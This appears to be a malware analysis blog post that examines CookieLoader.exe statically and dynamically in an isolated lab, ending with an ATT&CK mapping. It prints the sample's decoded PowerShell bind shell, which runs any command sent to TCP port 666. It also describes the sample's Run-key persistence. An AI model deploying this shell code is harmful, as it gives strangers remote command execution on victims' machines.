This project involves the process of fully analyzing one malware sample in all its stages. First I take a look at the original executable, map out basics like architecture and OS target, and check if it is packed or not. After that comes proper static analysis, and in the end dynamic analysis by running it inside the isolated lab to see what it does on the machine and on the network.

For tool explanations already covered earlier, see Static Malware Analysis and Building a Malware Analysis Lab.

Loading the malware safely into the Lab VM

The first initial step was to load the malware safely into the isolated VM. Since the machine is fully sandboxed, loading was done by burning the malware into an ISO file and manually loading it into the VM.

Loading the sample into the isolated VM using an ISO.
Loading the sample into the isolated VM using an ISO.

Static Malware Analysis

Before moving onto dynamic analysis of CookieLoader.exe, it was first analyzed statically. The first thing checked was packing indicators through PE-bear and DiE. Here we can see indicators that it is not packed, such as file size and loaded size being the same, normal section layout, and entropy averaging 4.73009.

Initial packing inspection of CookieLoader.exe.
Initial packing inspection of CookieLoader.exe.
A second view of the sample during the packing assessment.
A second view of the sample during the packing assessment.

PE-Bear

From PE-bear, hashes and section information were gathered. These hashes can later be used to check if this malware was previously analyzed and confirmed.

Looking at sections, .rsrc and .reloc stand out with small raw size that expands when loaded, and .reloc also supports ASLR-related relocation behavior.

MD5: 13c62597d5a6605f2b3b8401a5d1b68c
SHA1: 4ff9435a7b91856e1df4ac5d27ea014d8a5aeebb
SHA256: 8525f75c1841e379b29a2974117ebc90852142d8f3c2fd31139574e5d635794d

PE-Bear overview and identifying hashes for CookieLoader.exe.
PE-Bear overview and identifying hashes for CookieLoader.exe.

Detect It Easy (DiE)

When taking a look at the malware with DiE, we can see the target environment as Windows(Vista)[AMD64, 64-bit, Console(CLI)]. It was written in C and compiled with Visual Studio (2022, v17.6). One interesting marker is LTCG/C, which is link-time compiler optimization.

Detect It Easy identifies the sample as a 64-bit Windows console executable.
Detect It Easy identifies the sample as a 64-bit Windows console executable.

Next up, I used the extractor view to inspect the file internals. In this case there is no obvious embedded payload directly in the sample, which supports the idea that CookieLoader.exe is loading or launching additional behavior.

Extractor inspection for embedded content.
Extractor inspection for embedded content.

floss

FLOSS was used to extract strings and look for suspicious behavior. Several useful strings were found. We can see registry-related calls that indicate persistence behavior, and we can also see signs of bind-shell related execution through powershell.exe with an encoded command.

FLOSS output from CookieLoader.exe.
FLOSS output from CookieLoader.exe.
Additional extracted strings from the sample.
Additional extracted strings from the sample.
Further string evidence used in the static assessment.
Further string evidence used in the static assessment.
Encoded command strings found during analysis.
Encoded command strings found during analysis.

The encoded PowerShell command was decoded in CyberChef:

Decoding the encoded PowerShell command in CyberChef.
Decoding the encoded PowerShell command in CyberChef.
$l = [System.Net.Sockets.TcpListener]666
$l.Start()
$c = $l.AcceptTcpClient()
$s = $c.GetStream()
[byte[]]$b = 0..65535|%{0}
while(($i=$s.Read($b,0,$b.Length)) -ne 0){
    $d = [System.Text.Encoding]::ASCII.GetString($b,0,$i)
    try {
        $o = (iex $d 2>&1 | Out-String)
    } catch {
        $o = $_.Exception.Message
    }
    $p = $o + "PS " + (pwd).Path + "> "
    $x = [System.Text.Encoding]::ASCII.GetBytes($p)
    $s.Write($x,0,$x.Length)
}
$c.Close()
$l.Stop()

This payload opens a TCP listener on port 666 and establishes a bind shell, which matches the earlier indicators.

PeStudio

Taking a look with PeStudio, we can further confirm architecture, entropy levels, and CLI executable characteristics seen in previous tools.

PeStudio overview of CookieLoader.exe.
PeStudio overview of CookieLoader.exe.

One of the most important sections in PeStudio is API imports. Here we can see calls that support process creation and runtime process/thread context:

API imports associated with process creation and runtime context.
API imports associated with process creation and runtime context.

CreateProcessW1

GetCurrentProcess2

GetCurrentThreadId3

GetCurrentProcessId4

capa

capa was run to confirm and wrap up the static findings. It confirms architecture/format and maps observed behavior to ATT&CK techniques such as T1129 and T1547.001, which aligns with persistence and process-spawn observations from earlier tools.

capa findings used to cross-check the static assessment.
capa findings used to cross-check the static assessment.

Dynamic Malware Analysis

After the static phase, the malware was executed in the isolated environment to directly verify the estimated behavior.

FakeNet-NG

FakeNet-NG5 was used to simulate network services without exposing the machine to a real external network.

sudo fakenet -l fakenet.log

The -l argument writes logs while traffic is captured into a .pcap for later analysis.

FakeNet-NG capturing emulated network activity.
FakeNet-NG capturing emulated network activity.

System Informer

First up is System Informer, where we can see what is currently happening on the machine right after execution. Here we can see the main process CookieLoader.exe and child processes conhost.exe and powershell.exe, which already matches what was found in static analysis.

CookieLoader.exe and its child processes in System Informer.
CookieLoader.exe and its child processes in System Informer.

Taking a closer look at process properties, we can see where the executable is running from and how it was started:

Process properties showing the executable location and launch details.
Process properties showing the executable location and launch details.

In the modules view, we can see expected runtime DLLs and also advapi32.dll, which supports the registry-related behavior seen in static analysis:

Loaded modules, including advapi32.dll.
Loaded modules, including advapi32.dll.

In startup settings we can also see persistence evidence, where CookieLoader.exe is set to run:

Startup entry associated with CookieLoader.exe.
Startup entry associated with CookieLoader.exe.

Then by checking powershell.exe properties, we can clearly see hidden encoded PowerShell execution in the command line:

The encoded PowerShell command line in process properties.
The encoded PowerShell command line in process properties.

The process tree confirms parent-child execution flow and the timing of when each process starts:

Process-tree view of the execution chain.
Process-tree view of the execution chain.

Process Monitor

Moving on to Procmon, this is one of the most important parts in the dynamic phase because it gives process and event-level details in real time.

Process Monitor events collected during execution.
Process Monitor events collected during execution.

In this process tree we can clearly see CookieLoader.exe spawning conhost.exe and powershell.exe, and we can follow the exact process start times and relationship.

Here we can confirm detailed event properties for powershell.exe, including full image path and encoded command execution context:

Process-start details for the CookieLoader.exe execution chain.
Process-start details for the CookieLoader.exe execution chain.

Looking at conhost.exe event properties also supports the same chain and confirms it is spawned in relation to the malware process:

conhost.exe event properties in Process Monitor.
conhost.exe event properties in Process Monitor.

This startup app view is another cross-check that supports persistence behavior:

Startup configuration used to cross-check persistence.
Startup configuration used to cross-check persistence.

Regshot

Regshot6 was used to take a before/after snapshot and compare differences.

1st shot:

Regshot snapshot before execution.
Regshot snapshot before execution.

2nd shot:

Regshot snapshot after execution.
Regshot snapshot after execution.

Comparison:

Comparing the two Regshot snapshots.
Comparing the two Regshot snapshots.

The output shows added registry values linked to execution activity:

Registry values added during execution.
Registry values added during execution.

It also shows added file artifacts (including prefetch and user-context traces):

File artifacts added during execution.
File artifacts added during execution.

Wireshark

After running the malware dynamically, observer-side captures were produced and then opened in Wireshark.

Opening the observer-side capture in Wireshark.
Opening the observer-side capture in Wireshark.

Here we can see the generated observer artifacts in the fakenetlogs folder (fakenet.log, .pcap, and report file), and then use the packet capture for deeper traffic analysis.

From the capture we can see traffic between the victim and simulated destinations, with sessions over common ports like 80 and 443. We can also observe normal and failed TCP states (SYN/ACK, FIN, RST, retransmissions), which shows communication attempts and connection handling while still fully contained in the lab network.

FakeNet log and capture artifacts collected for network analysis.
FakeNet log and capture artifacts collected for network analysis.

Results and Limitations

This confirms CookieLoader.exe behavior through both static and dynamic analysis. It runs hidden encoded PowerShell, creates persistence-related traces, and attempts network communication that we can capture and review safely in the isolated lab.

Final execution output also matches what was found above:

Final observation from the CookieLoader.exe analysis session.
Final observation from the CookieLoader.exe analysis session.

These observations describe this sample in this lab run. The lab setup explains the environment; the static analysis post covers the initial assessment workflow.

MITRE ATT&CK Mapping

Observed techniques

Sample: CookieLoader.exe

Tactic Technique ATT&CK ID Evidence from Analysis
Persistence Registry Run Keys / Startup Folder T1547.001 Startup entries and Regshot deltas show autorun-style persistence linked to CookieLoader.exe.
Execution Command and Scripting Interpreter: PowerShell T1059.001 Hidden encoded powershell.exe command observed in static strings and confirmed in dynamic process command-line evidence.
Defense Evasion Hide Artifacts: Hidden Window T1564.003 Encoded PowerShell launched in hidden mode from the malware process chain.
Command and Control Non-Application Layer Protocol T1095 Decoded payload creates a TCP listener/bind shell on port 666 using raw socket behavior.
Command and Control Application Layer Protocol: Web Protocols T1071.001 Wireshark/FakeNet captures show network sessions over common web ports (80/443) during execution.

  1. CreateProcessW is used to create a new process and its primary thread. Library: Kernel32.dll
    Associated Attack: Injection
    MalAPI: https://malapi.io/winapi/CreateProcessA
    Documentation: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw ↩︎

  2. GetCurrentProcess retrieves a pseudo-handle for the current process. Library: Kernel32.dll
    Associated Attack: Enumeration
    MalAPI: https://malapi.io/winapi/GetCurrentProcess
    Documentation: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess ↩︎

  3. GetCurrentThreadId retrieves the identifier of the calling thread. Library: Kernel32.dll
    Associated Attack: Enumeration
    MalAPI: https://malapi.io/winapi/GetCurrentThreadId
    Documentation: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthreadid ↩︎

  4. GetCurrentProcessId retrieves the PID of the calling process. Library: Kernel32.dll
    Associated Attack: Enumeration
    MalAPI: https://malapi.io/winapi/GetCurrentProcessId
    Documentation: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocessid ↩︎

  5. FakeNet-NG emulates network services for controlled dynamic malware analysis. Official documentation: https://github.com/mandiant/flare-fakenet-ng ↩︎

  6. Regshot compares before/after registry and file-system snapshots. Official documentation: https://github.com/Seabreg/Regshot/blob/master/ReadMe.txt ↩︎

© Credits: The writing and images on this page are the original work of the page author unless a source is explicitly cited.